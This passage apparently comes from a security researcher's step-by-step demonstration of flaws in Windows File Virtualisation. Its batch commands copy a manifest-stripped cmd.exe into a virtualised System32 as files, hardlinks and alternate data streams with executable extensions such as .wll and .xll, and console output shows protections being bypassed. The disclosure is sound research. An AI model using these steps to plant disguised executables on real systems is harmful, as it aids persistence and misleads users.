  4. Start (one of) the dangerous virtualised executables QUIRK20.ВАТ, QUIRK20.СОМ and QUIRK20.ЕХЕ, which are copies of the script host executable used to run the VBScript QUIRK20.VBS, per double-click to verify their proper function.

  5. Open the UTF-16LE encoded text file QUIRK20.TXT per double-click with NotePad.exe, delete all lines starting with @=, replace in the last line the string ".АСМ;…;.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC" containing the dangerous extensions (including the enclosing double quotes ") after the equals sign = by a minus sign - and insert a minus sign - before all strings HKEY_CURRENT_USER\Software\Classes\., then save the modified Registry Editor Script and exit the text editor.

  6. Apply the file QUIRK20.TXT modified in step 5. to the Registry:

    REG.EXE IMPORT "%LOCALAPPDATA%\VirtualStore\Windows\QUIRK20.TXT"
    The operation completed successfully.
  7. Finally delete the virtualised files QUIRK20.* and, if empty, the virtualised Windows directory %LOCALAPPDATA%\VirtualStore\Windows\ too, using either Windows Explorer or the Command Processor:

    ERASE "%LOCALAPPDATA%\VirtualStore\Windows\QUIRK20.*"
    RMDIR "%LOCALAPPDATA%\VirtualStore\Windows"

Demonstration (Variant 2)

Perform the following 14 (plus 1) simple steps to prove the statements cited above wrong and show the strange (mis)behaviour as well as some bugs of the File Virtualisation.
  1. Copy the 32-bit executable Cmd.exe of the Command Processor as quirk20.com into an arbitrary, preferable empty directory:

    COPY "%SystemRoot%\System32\Cmd.exe" quirk20.com
    COPY /Y "%SystemRoot%\SysWoW64\Cmd.exe" quirk20.com
    Note: the command lines can be copied and pasted as block into a Command Processor window!
            1 file(s) copied.
            1 file(s) copied.
  2. On Windows 10 and Windows 11, copy the language-specific resource files Cmd.exe.mui too:

    FOR /D %? IN ("%SystemRoot%\System32\??-??" "%SystemRoot%\SysWoW64\??-??") DO @(
    IF EXIST "%?\Cmd.exe.mui" IF NOT EXIST "%~n?" (
    MKDIR "%~n?" && COPY "%?\Cmd.exe.mui" "%~n?\quirk20.com.mui") ELSE (
    COPY /Y "%?\Cmd.exe.mui" "%~n?\quirk20.com.mui"))
            1 file(s) copied.
            1 file(s) copied.
  3. Create the text file quirk20.xml with the following content next to the executable quirk20.com copied in step 1.:

    <?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
    <assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1' />
  4. Replace the application manifest embedded in the executable quirk20.com copied in step 1. with the one created in step 3.:

    MT.EXE /MANIFEST quirk20.xml /OUTPUTRESOURCE:quirk20.com
    Note: the Manifest Tool MT.exe is shipped with the Windows Software Development Kit.
    Microsoft (R) Manifest Tool version 6.1.7716.0
    Copyright (c) Microsoft Corporation 2009.
    All rights reserved.
  5. Start the executable quirk20.com, modified in step 4. to be subject to File Virtualisation, and verify that the virtual store is (initially) empty:

    .\quirk20.com
    DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
    Microsoft Windows [Version 6.1.7601]
    Copyright (c) 2009 Microsoft Corporation. All rights reserved.
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore
    
    04/27/2020   8:15 PM    <DIR>          .
    04/27/2020   8:15 PM    <DIR>          ..
                   0 File(s)              0 bytes
  6. Create the subdirectory Quirk20 in Windows’ system directory %SystemRoot%\System32\, then list the resulting contents of the system directory and the virtual store:

    MKDIR "%SystemRoot%\System32\Quirk20"
    DIR /A /R /S "%SystemRoot%\Quirk20.*"
    DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Windows\System32
    
    04/27/2020   8:15 PM    <DIR>          Quirk20
                   0 File(s)              0 bytes
    
     Directory of C:\Windows\SysWOW64
    
    04/27/2020   8:15 PM    <DIR>          Quirk20
                   0 File(s)              0 bytes
    
         Total Files Listed:
                   0 File(s)              0 bytes
                   2 Dir(s)   9,876,543,210 bytes free
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore
    
    04/27/2020   8:15 PM    <DIR>          .
    04/27/2020   8:15 PM    <DIR>          ..
    04/27/2020   8:15 PM    <DIR>          Windows
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows
    
    04/27/2020   8:15 PM    <DIR>          .
    04/27/2020   8:15 PM    <DIR>          ..
    04/27/2020   8:15 PM    <DIR>          Syswow64
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Syswow64
    
    04/27/2020   8:15 PM    <DIR>          .
    04/27/2020   8:15 PM    <DIR>          ..
    04/27/2020   8:15 PM    <DIR>          Quirk20
                   0 File(s)              0 bytes
    
         Total Files Listed:
                   0 File(s)              0 bytes
                   9 Dir(s)   9,876,543,210 bytes free
    Oops: the subdirectory Quirk20 appears in %SystemRoot%\SysWoW64\ too!
  7. Create some (empty) files with the dangerous extensions from the environment variable PATHEXT in Windows’ system directory %SystemRoot%\System32\:

    SET PATHEXT
    FOR %? IN (%PATHEXT%) DO @COPY NUL: "%SystemRoot%\System32\Quirk20%?"
    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC
    
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
    Note: as documented and expected, creation of files with dangerous extensions fails with the appropriate error message Access denied.
  8. Copy the executable quirk20.com with other, harmless as well as dangerous extensions into Windows’ system directory %SystemRoot%\System32\, then list the resulting contents of the system directory and the virtual store:

    SET QUIRK20=.dll .efi .htm .iso .jse .lnk .pif .scr .sys .ttf .vbe .url .wll .wsf .wsh .xll
    FOR %? IN (%QUIRK20%) DO @COPY Quirk20.com "%SystemRoot%\System32\Quirk20%?"
    DIR /A /R /S "%SystemRoot%\Quirk20.*"
    DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
    Access denied
            0 file(s) copied.
            1 file(s) copied.
            1 file(s) copied.
            1 file(s) copied.
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
            1 file(s) copied.
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
            1 file(s) copied.
    Access denied
            0 file(s) copied.
    Access denied
            0 file(s) copied.
            1 file(s) copied.
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Windows\System32
    
    04/27/2020   8:15 PM    <DIR>          Quirk20
    04/27/2020   8:15 PM           302,080 Quirk20.efi
    04/27/2020   8:15 PM           302,080 Quirk20.htm
    04/27/2020   8:15 PM           302,080 Quirk20.iso
    04/27/2020   8:15 PM           302,080 Quirk20.ttf
    04/27/2020   8:15 PM           302,080 Quirk20.wll
    04/27/2020   8:15 PM           302,080 Quirk20.xll
                   6 File(s)      1,812,480 bytes
    
     Directory of C:\Windows\SysWOW64
    
    04/27/2020   8:15 PM    <DIR>          Quirk20
    04/27/2020   8:15 PM           302,080 Quirk20.efi
    04/27/2020   8:15 PM           302,080 Quirk20.htm
    04/27/2020   8:15 PM           302,080 Quirk20.iso
    04/27/2020   8:15 PM           302,080 Quirk20.ttf
    04/27/2020   8:15 PM           302,080 Quirk20.wll
    04/27/2020   8:15 PM           302,080 Quirk20.xll
                   6 File(s)      1,812,480 bytes
    
         Total Files Listed:
                  12 File(s)      3,624,960 bytes
                   2 Dir(s)   9,876,543,210 bytes free
    OUCH: contrary to the statements cited above, executable files with the extensions .wll, used by Microsoft Word for executable add-ins, and .xll, used by Microsoft Excel for executable add-ins, can be created!

    Oops: all files created in the system directory %SystemRoot%\System32\ appear in %SystemRoot%\SysWoW64\ too!

  9. Move the files created in step 8. from the system directory %SystemRoot%\System32\ into the current (working) directory, then list the resulting contents of the system directory and the virtual store:

    MOVE "%SystemRoot%\System32\Quirk20.*" .
    DIR /A /R /S "%SystemRoot%\Quirk20.*"
    DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
    C:\Windows\system32\Quirk20.efi
    C:\Windows\system32\Quirk20.htm
    C:\Windows\system32\Quirk20.iso
    C:\Windows\system32\Quirk20.ttf
    C:\Windows\system32\Quirk20.wll
    C:\Windows\system32\Quirk20.xll
            6 File(s) moved.
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Windows\System32
    
    04/27/2020   8:15 PM    <DIR>          Quirk20
                   0 File(s)              0 bytes
    
     Directory of C:\Windows\SysWOW64
    
    04/27/2020   8:15 PM    <DIR>          Quirk20
                   0 File(s)              0 bytes
    
         Total Files Listed:
                   0 File(s)              0 bytes
                   2 Dir(s)   9,876,543,210 bytes free
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore
    
    04/27/2020   8:15 PM    <DIR>          .
    04/27/2020   8:15 PM    <DIR>          ..
    04/27/2020   8:15 PM    <DIR>          Windows
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows
    
    04/27/2020   8:15 PM    <DIR>          .
    04/27/2020   8:15 PM    <DIR>          ..
    04/27/2020   8:15 PM    <DIR>          Syswow64
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Syswow64
    
    04/27/2020   8:15 PM    <DIR>          .
    04/27/2020   8:15 PM    <DIR>          ..
    04/27/2020   8:15 PM    <DIR>          Quirk20
                   0 File(s)              0 bytes
    
         Total Files Listed:
                   0 File(s)              0 bytes
                   9 Dir(s)   9,876,543,210 bytes free
  10. Create hardlinks of the executable quirk20.com with all dangerous and harmless extensions used in the steps 7. and 8. in Windows’ system directory %SystemRoot%\System32\, then list the resulting contents of the system directory and the virtual store:

    COPY Quirk20.com "%LOCALAPPDATA%\Temp"
    FOR %? IN (%PATHEXT% %QUIRK20%) DO @MKLINK /H "%SystemRoot%\System32\Quirk20%?" "%LOCALAPPDATA%\Temp\Quirk20.com"
    ERASE "%LOCALAPPDATA%\Temp\Quirk20.com"
    DIR /A /R /S "%SystemRoot%\Quirk20.*"
    DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
    Hardlink created for C:\Windows\System32\Quirk20.COM <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk20.com
    Hardlink created for C:\Windows\System32\Quirk20.EXE <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk20.com
    Hardlink created for C:\Windows\System32\Quirk20.BAT <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk20.com
    Hardlink created for C:\Windows\System32\Quirk20.CMD <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk20.com
    Hardlink created for C:\Windows\System32\Quirk20.VBS <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk20.com
    Hardlink created for C:\Windows\System32\Quirk20.JS <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk20.com
    Hardlink created for C:\Windows\System32\Quirk20.WS <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk20.com
    Hardlink created for C:\Windows\System32\Quirk20.MSC <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk20.com
    Hardlink created for C:\Windows\System32\Quirk20.dll <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk20.com
    Hardlink created for C:\Windows\System32\Quirk20.efi <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk20.com
    Hardlink created for C:\Windows\System32\Quirk20.htm <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk20.com
    Hardlink created for C:\Windows\System32\Quirk20.iso <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk20.com
    Hardlink created for C:\Windows\System32\Quirk20.jse <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk20.com
    Hardlink created for C:\Windows\System32\Quirk20.lnk <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk20.com
    Hardlink created for C:\Windows\System32\Quirk20.pif <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk20.com
    Hardlink created for C:\Windows\System32\Quirk20.scr <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk20.com
    Hardlink created for C:\Windows\System32\Quirk20.sys <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk20.com
    Hardlink created for C:\Windows\System32\Quirk20.ttf <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk20.com
    Hardlink created for C:\Windows\System32\Quirk20.url <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk20.com
    Hardlink created for C:\Windows\System32\Quirk20.vbe <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk20.com
    Hardlink created for C:\Windows\System32\Quirk20.wll <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk20.com
    Hardlink created for C:\Windows\System32\Quirk20.wsf <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk20.com
    Hardlink created for C:\Windows\System32\Quirk20.wsh <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk20.com
    Hardlink created for C:\Windows\System32\Quirk20.xll <<===>> C:\Users\Stefan\AppData\Local\Temp\Quirk20.com
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Windows\System32
    
    04/27/2020   8:15 PM    <DIR>          Quirk20
    04/27/2020   8:15 PM           302,080 Quirk20.BAT
    04/27/2020   8:15 PM           302,080 Quirk20.CMD
    04/27/2020   8:15 PM           302,080 Quirk20.COM
    04/27/2020   8:15 PM           302,080 Quirk20.dll
    04/27/2020   8:15 PM           302,080 Quirk20.efi
    04/27/2020   8:15 PM           302,080 Quirk20.EXE
    04/27/2020   8:15 PM           302,080 Quirk20.htm
    04/27/2020   8:15 PM           302,080 Quirk20.iso
    04/27/2020   8:15 PM           302,080 Quirk20.JS
    04/27/2020   8:15 PM           302,080 Quirk20.jse
    04/27/2020   8:15 PM           302,080 Quirk20.lnk
    04/27/2020   8:15 PM           302,080 Quirk20.MSC
    04/27/2020   8:15 PM           302,080 Quirk20.pif
    04/27/2020   8:15 PM           302,080 Quirk20.scr
    04/27/2020   8:15 PM           302,080 Quirk20.sys
    04/27/2020   8:15 PM           302,080 Quirk20.ttf
    04/27/2020   8:15 PM           302,080 Quirk20.url
    04/27/2020   8:15 PM           302,080 Quirk20.vbe
    04/27/2020   8:15 PM           302,080 Quirk20.VBS
    04/27/2020   8:15 PM           302,080 Quirk20.wll
    04/27/2020   8:15 PM           302,080 Quirk20.WS
    04/27/2020   8:15 PM           302,080 Quirk20.wsf
    04/27/2020   8:15 PM           302,080 Quirk20.wsh
    04/27/2020   8:15 PM           302,080 Quirk20.xll
                  24 File(s)      7,249,920 bytes
    
     Directory of C:\Windows\SysWOW64
    
    04/27/2020   8:15 PM    <DIR>          Quirk20
    04/27/2020   8:15 PM           302,080 Quirk20.BAT
    04/27/2020   8:15 PM           302,080 Quirk20.CMD
    04/27/2020   8:15 PM           302,080 Quirk20.COM
    04/27/2020   8:15 PM           302,080 Quirk20.dll
    04/27/2020   8:15 PM           302,080 Quirk20.efi
    04/27/2020   8:15 PM           302,080 Quirk20.EXE
    04/27/2020   8:15 PM           302,080 Quirk20.htm
    04/27/2020   8:15 PM           302,080 Quirk20.iso
    04/27/2020   8:15 PM           302,080 Quirk20.JS
    04/27/2020   8:15 PM           302,080 Quirk20.jse
    04/27/2020   8:15 PM           302,080 Quirk20.lnk
    04/27/2020   8:15 PM           302,080 Quirk20.MSC
    04/27/2020   8:15 PM           302,080 Quirk20.pif
    04/27/2020   8:15 PM           302,080 Quirk20.scr
    04/27/2020   8:15 PM           302,080 Quirk20.sys
    04/27/2020   8:15 PM           302,080 Quirk20.ttf
    04/27/2020   8:15 PM           302,080 Quirk20.url
    04/27/2020   8:15 PM           302,080 Quirk20.vbe
    04/27/2020   8:15 PM           302,080 Quirk20.VBS
    04/27/2020   8:15 PM           302,080 Quirk20.wll
    04/27/2020   8:15 PM           302,080 Quirk20.WS
    04/27/2020   8:15 PM           302,080 Quirk20.wsf
    04/27/2020   8:15 PM           302,080 Quirk20.wsh
    04/27/2020   8:15 PM           302,080 Quirk20.xll
                  24 File(s)      7,249,920 bytes
    
         Total Files Listed:
                  48 File(s)     14,499,840 bytes
                   2 Dir(s)   9,876,543,210 bytes free
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore
    
    04/27/2020   8:15 PM    <DIR>          .
    04/27/2020   8:15 PM    <DIR>          ..
    04/27/2020   8:15 PM    <DIR>          Windows
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows
    
    04/27/2020   8:15 PM    <DIR>          .
    04/27/2020   8:15 PM    <DIR>          ..
    04/27/2020   8:15 PM    <DIR>          Syswow64
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Syswow64
    
    04/27/2020   8:15 PM    <DIR>          .
    04/27/2020   8:15 PM    <DIR>          ..
    04/27/2020   8:15 PM    <DIR>          Quirk20
    04/27/2020   8:15 PM           302,080 Quirk20.BAT
    04/27/2020   8:15 PM           302,080 Quirk20.CMD
    04/27/2020   8:15 PM           302,080 Quirk20.COM
    04/27/2020   8:15 PM           302,080 Quirk20.dll
    04/27/2020   8:15 PM           302,080 Quirk20.efi
    04/27/2020   8:15 PM           302,080 Quirk20.EXE
    04/27/2020   8:15 PM           302,080 Quirk20.htm
    04/27/2020   8:15 PM           302,080 Quirk20.iso
    04/27/2020   8:15 PM           302,080 Quirk20.JS
    04/27/2020   8:15 PM           302,080 Quirk20.jse
    04/27/2020   8:15 PM           302,080 Quirk20.lnk
    04/27/2020   8:15 PM           302,080 Quirk20.MSC
    04/27/2020   8:15 PM           302,080 Quirk20.pif
    04/27/2020   8:15 PM           302,080 Quirk20.scr
    04/27/2020   8:15 PM           302,080 Quirk20.sys
    04/27/2020   8:15 PM           302,080 Quirk20.ttf
    04/27/2020   8:15 PM           302,080 Quirk20.url
    04/27/2020   8:15 PM           302,080 Quirk20.vbe
    04/27/2020   8:15 PM           302,080 Quirk20.VBS
    04/27/2020   8:15 PM           302,080 Quirk20.wll
    04/27/2020   8:15 PM           302,080 Quirk20.WS
    04/27/2020   8:15 PM           302,080 Quirk20.wsf
    04/27/2020   8:15 PM           302,080 Quirk20.wsh
    04/27/2020   8:15 PM           302,080 Quirk20.xll
                  24 File(s)      7,249,920 bytes
    
         Total Files Listed:
                  24 File(s)      7,249,920 bytes
                   9 Dir(s)   9,876,543,210 bytes free
    OUCH: contrary to the statements cited above, executable files can be created with arbitrary extensions!

    Oops: all hardlinks created in the system directory %SystemRoot%\System32\ appear in %SystemRoot%\SysWoW64\ too!

  11. Move the (dangerous) hardlinks created in step 10. from the system directory %SystemRoot%\System32\ into the current (working) directory, then list the resulting contents of the system directory and the virtual store:

    MOVE "%SystemRoot%\System32\Quirk20.*" .
    DIR /A /R /S "%SystemRoot%\Quirk20.*"
    DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
    The system cannot find the file specified.
    The system cannot find the file specified.
    The system cannot find the file specified.
    The system cannot find the file specified.
    C:\Windows\system32\Quirk20.efi
    The system cannot find the file specified.
    C:\Windows\system32\Quirk20.htm
    C:\Windows\system32\Quirk20.iso
    The system cannot find the file specified.
    The system cannot find the file specified.
    The system cannot find the file specified.
    The system cannot find the file specified.
    The system cannot find the file specified.
    The system cannot find the file specified.
    The system cannot find the file specified.
    C:\Windows\system32\Quirk20.ttf
    The system cannot find the file specified.
    The system cannot find the file specified.
    The system cannot find the file specified.
    C:\Windows\system32\Quirk20.wll
    The system cannot find the file specified.
    The system cannot find the file specified.
    The system cannot find the file specified.
    C:\Windows\system32\Quirk20.xll
            6 File(s) moved.
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Windows\System32
    
    04/27/2020   8:15 PM    <DIR>          Quirk20
    04/27/2020   8:15 PM           302,080 Quirk20.BAT
    04/27/2020   8:15 PM           302,080 Quirk20.CMD
    04/27/2020   8:15 PM           302,080 Quirk20.COM
    04/27/2020   8:15 PM           302,080 Quirk20.dll
    04/27/2020   8:15 PM           302,080 Quirk20.EXE
    04/27/2020   8:15 PM           302,080 Quirk20.JS
    04/27/2020   8:15 PM           302,080 Quirk20.jse
    04/27/2020   8:15 PM           302,080 Quirk20.lnk
    04/27/2020   8:15 PM           302,080 Quirk20.MSC
    04/27/2020   8:15 PM           302,080 Quirk20.pif
    04/27/2020   8:15 PM           302,080 Quirk20.scr
    04/27/2020   8:15 PM           302,080 Quirk20.sys
    04/27/2020   8:15 PM           302,080 Quirk20.url
    04/27/2020   8:15 PM           302,080 Quirk20.vbe
    04/27/2020   8:15 PM           302,080 Quirk20.VBS
    04/27/2020   8:15 PM           302,080 Quirk20.WS
    04/27/2020   8:15 PM           302,080 Quirk20.wsf
    04/27/2020   8:15 PM           302,080 Quirk20.wsh
                  18 File(s)      5,437,440 bytes
    
     Directory of C:\Windows\SysWOW64
    
    04/27/2020   8:15 PM    <DIR>          Quirk20
    04/27/2020   8:15 PM           302,080 Quirk20.BAT
    04/27/2020   8:15 PM           302,080 Quirk20.CMD
    04/27/2020   8:15 PM           302,080 Quirk20.COM
    04/27/2020   8:15 PM           302,080 Quirk20.dll
    04/27/2020   8:15 PM           302,080 Quirk20.EXE
    04/27/2020   8:15 PM           302,080 Quirk20.JS
    04/27/2020   8:15 PM           302,080 Quirk20.jse
    04/27/2020   8:15 PM           302,080 Quirk20.lnk
    04/27/2020   8:15 PM           302,080 Quirk20.MSC
    04/27/2020   8:15 PM           302,080 Quirk20.pif
    04/27/2020   8:15 PM           302,080 Quirk20.scr
    04/27/2020   8:15 PM           302,080 Quirk20.sys
    04/27/2020   8:15 PM           302,080 Quirk20.url
    04/27/2020   8:15 PM           302,080 Quirk20.vbe
    04/27/2020   8:15 PM           302,080 Quirk20.VBS
    04/27/2020   8:15 PM           302,080 Quirk20.WS
    04/27/2020   8:15 PM           302,080 Quirk20.wsf
    04/27/2020   8:15 PM           302,080 Quirk20.wsh
                  18 File(s)      5,437,440 bytes
    
         Total Files Listed:
                  36 File(s)     10,874,880 bytes
                   2 Dir(s)   9,876,543,210 bytes free
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore
    
    04/27/2020   8:15 PM    <DIR>          .
    04/27/2020   8:15 PM    <DIR>          ..
    04/27/2020   8:15 PM    <DIR>          Windows
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows
    
    04/27/2020   8:15 PM    <DIR>          .
    04/27/2020   8:15 PM    <DIR>          ..
    04/27/2020   8:15 PM    <DIR>          Syswow64
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Syswow64
    
    04/27/2020   8:15 PM    <DIR>          .
    04/27/2020   8:15 PM    <DIR>          ..
    04/27/2020   8:15 PM    <DIR>          Quirk20
    04/27/2020   8:15 PM           302,080 Quirk20.BAT
    04/27/2020   8:15 PM           302,080 Quirk20.CMD
    04/27/2020   8:15 PM           302,080 Quirk20.COM
    04/27/2020   8:15 PM           302,080 Quirk20.dll
    04/27/2020   8:15 PM           302,080 Quirk20.EXE
    04/27/2020   8:15 PM           302,080 Quirk20.JS
    04/27/2020   8:15 PM           302,080 Quirk20.jse
    04/27/2020   8:15 PM           302,080 Quirk20.lnk
    04/27/2020   8:15 PM           302,080 Quirk20.MSC
    04/27/2020   8:15 PM           302,080 Quirk20.pif
    04/27/2020   8:15 PM           302,080 Quirk20.scr
    04/27/2020   8:15 PM           302,080 Quirk20.sys
    04/27/2020   8:15 PM           302,080 Quirk20.url
    04/27/2020   8:15 PM           302,080 Quirk20.vbe
    04/27/2020   8:15 PM           302,080 Quirk20.VBS
    04/27/2020   8:15 PM           302,080 Quirk20.WS
    04/27/2020   8:15 PM           302,080 Quirk20.wsf
    04/27/2020   8:15 PM           302,080 Quirk20.wsh
                  18 File(s)      5,437,440 bytes
    
         Total Files Listed:
                  18 File(s)      5,437,440 bytes
                   9 Dir(s)   9,876,543,210 bytes free
    OUCH: moving (executable) files or hardlinks with dangerous extensions fails with the wrong error message The system cannot find the file specified. instead of the appropriate error message Access denied.
  12. Execute the hardlinks left in the system directory %SystemRoot%\System32\:

    FOR %? IN ("%SystemRoot%\System32\Quirk20.*") DO @CALL "%~?"
    The batch file cannot be found.
    The batch file cannot be found.
    The system cannot find the file C:\Windows\system32\quirk20.COM.
    The system cannot find the file C:\Windows\system32\quirk20.dll.
    The system cannot find the file C:\Windows\system32\quirk20.EXE.
    The system cannot find the file C:\Windows\system32\quirk20.JS.
    The system cannot find the file C:\Windows\system32\quirk20.jse.
    The system cannot find the file C:\Windows\system32\quirk20.lnk.
    The system cannot find the file C:\Windows\system32\quirk20.MSC.
    The system cannot find the file C:\Windows\system32\quirk20.pif.
    The system cannot find the file C:\Windows\system32\quirk20.scr.
    The system cannot find the file C:\Windows\system32\quirk20.sys.
    The system cannot find the file C:\Windows\system32\quirk20.url.
    The system cannot find the file C:\Windows\system32\quirk20.vbe.
    The system cannot find the file C:\Windows\system32\quirk20.VBS.
    The system cannot find the file C:\Windows\system32\quirk20.WS.
    The system cannot find the file C:\Windows\system32\quirk20.wsf.
    The system cannot find the file C:\Windows\system32\quirk20.wsh.
    OUCH: executing (files or) hardlinks with dangerous extensions fails with the wrong error message The batch file cannot be found. for batch scripts and for other files with the wrong error message The system cannot find the file …. instead of the appropriate error message Access denied.
  13. Create some (empty) NTFS Alternate Data Streams on the directory %SystemRoot%\System32\Quirk20\ created in step 6., then list the resulting contents of only this directory and the virtual store:

    FOR %? IN (%PATHEXT% %QUIRKS18%) DO @BREAK 1>"%SystemRoot%\System32\Quirk20:Quirk20%?"
    DIR /A /R /S "%SystemRoot%\Quirk20"
    DIR /A /R /S "%LOCALAPPDATA%\VirtualStore"
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Windows\System32
    
    04/27/2020   8:15 PM    <DIR>          Quirk20
                                         0 Quirk20:Quirk20.BAT:$DATA
                                         0 Quirk20:Quirk20.CMD:$DATA
                                         0 Quirk20:Quirk20.COM:$DATA
                                         0 Quirk20:Quirk20.dll:$DATA
                                         0 Quirk20:Quirk20.efi:$DATA
                                         0 Quirk20:Quirk20.EXE:$DATA
                                         0 Quirk20:Quirk20.htm:$DATA
                                         0 Quirk20:Quirk20.iso:$DATA
                                         0 Quirk20:Quirk20.JS:$DATA
                                         0 Quirk20:Quirk20.jse:$DATA
                                         0 Quirk20:Quirk20.lnk:$DATA
                                         0 Quirk20:Quirk20.MSC:$DATA
                                         0 Quirk20:Quirk20.pif:$DATA
                                         0 Quirk20:Quirk20.scr:$DATA
                                         0 Quirk20:Quirk20.sys:$DATA
                                         0 Quirk20:Quirk20.ttf:$DATA
                                         0 Quirk20:Quirk20.url:$DATA
                                         0 Quirk20:Quirk20.vbe:$DATA
                                         0 Quirk20:Quirk20.VBS:$DATA
                                         0 Quirk20:Quirk20.wll:$DATA
                                         0 Quirk20:Quirk20.WS:$DATA
                                         0 Quirk20:Quirk20.wsf:$DATA
                                         0 Quirk20:Quirk20.wsh:$DATA
                                         0 Quirk20:Quirk20.xll:$DATA
                   0 File(s)              0 bytes
    
     Directory of C:\Windows\SysWOW64
    
    04/27/2020   8:15 PM    <DIR>          Quirk20
                                         0 Quirk20:Quirk20.BAT:$DATA
                                         0 Quirk20:Quirk20.CMD:$DATA
                                         0 Quirk20:Quirk20.COM:$DATA
                                         0 Quirk20:Quirk20.dll:$DATA
                                         0 Quirk20:Quirk20.efi:$DATA
                                         0 Quirk20:Quirk20.EXE:$DATA
                                         0 Quirk20:Quirk20.htm:$DATA
                                         0 Quirk20:Quirk20.iso:$DATA
                                         0 Quirk20:Quirk20.JS:$DATA
                                         0 Quirk20:Quirk20.jse:$DATA
                                         0 Quirk20:Quirk20.lnk:$DATA
                                         0 Quirk20:Quirk20.MSC:$DATA
                                         0 Quirk20:Quirk20.pif:$DATA
                                         0 Quirk20:Quirk20.scr:$DATA
                                         0 Quirk20:Quirk20.sys:$DATA
                                         0 Quirk20:Quirk20.ttf:$DATA
                                         0 Quirk20:Quirk20.url:$DATA
                                         0 Quirk20:Quirk20.vbe:$DATA
                                         0 Quirk20:Quirk20.VBS:$DATA
                                         0 Quirk20:Quirk20.wll:$DATA
                                         0 Quirk20:Quirk20.WS:$DATA
                                         0 Quirk20:Quirk20.wsf:$DATA
                                         0 Quirk20:Quirk20.wsh:$DATA
                                         0 Quirk20:Quirk20.xll:$DATA
                   0 File(s)              0 bytes
    
         Total Files Listed:
                   0 File(s)              0 bytes
                   2 Dir(s)   9,876,543,210 bytes free
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore
    
    04/27/2020   8:15 PM    <DIR>          .
    04/27/2020   8:15 PM    <DIR>          ..
    04/27/2020   8:15 PM    <DIR>          Windows
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows
    
    04/27/2020   8:15 PM    <DIR>          .
    04/27/2020   8:15 PM    <DIR>          ..
    04/27/2020   8:15 PM    <DIR>          Syswow64
                   0 File(s)              0 bytes
    
     Directory of C:\Users\Stefan\AppData\Local\VirtualStore\Windows\Syswow64
    
    04/27/2020   8:15 PM    <DIR>          .
    04/27/2020   8:15 PM    <DIR>          ..
